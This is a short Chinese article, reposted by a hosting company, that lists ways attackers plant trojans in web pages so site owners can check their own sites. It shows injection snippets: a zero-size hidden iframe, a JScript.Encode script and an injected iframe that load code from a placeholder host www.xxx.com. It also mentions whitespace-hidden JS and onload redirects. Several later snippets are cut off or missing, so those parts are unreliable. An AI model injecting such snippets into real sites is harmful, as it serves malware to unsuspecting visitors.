网站挂马方式大总结
这篇文章指在告诉大家坏人经常使用的网页挂马方式，从而可以对自己的网页进行防范，只要检测这些经常被用于挂马的地方，很容易找到木马的所在。 一:框架挂马 <iframe src=地址 width=0 height=0></iframe> 其中“地址”处可以输入恶意网站链接等 二:js文件挂马 只要是JS文件，都可以通过被恶意修改从而被挂上恶意代码，一般被全站引用的JS代码最容易被挂木马，检测我们可以查看JS代码的左边或下边，坏人很喜欢将恶意代码与正常代码间用很多空格或回车来进行隐藏，所以要多看看JS代码页面有没有被故意拉长等。 三:js变形加密 <SCRIPT language="JScript.Encode" src=http://www.xxx.com/muma.txt></script>
<body onload="window.location=''地址'';"></body> 五:隐蔽挂马 top.document.body.innerHTML = top.document.body.innerHTML + ''\r\n<iframe src="http://www.xxx.com/muma.htm/"></iframe>''; 六:css中挂马 body { 这种方式比较狠，也比较难发现。 七:JAJA挂马 <SCRIPT language=javascript> 八:图片伪装 <html> 九:伪装调用 <frameset rows="444,0" cols="*"> |
|
凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务，公司网站：http://www.lingzhong.cn 为了给广大客户了解更多的技术信息，本技术文章收集来源于网络,凌众科技尊重文章作者的版权，如果有涉及你的版权有必要删除你的文章，请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息，谢谢! |
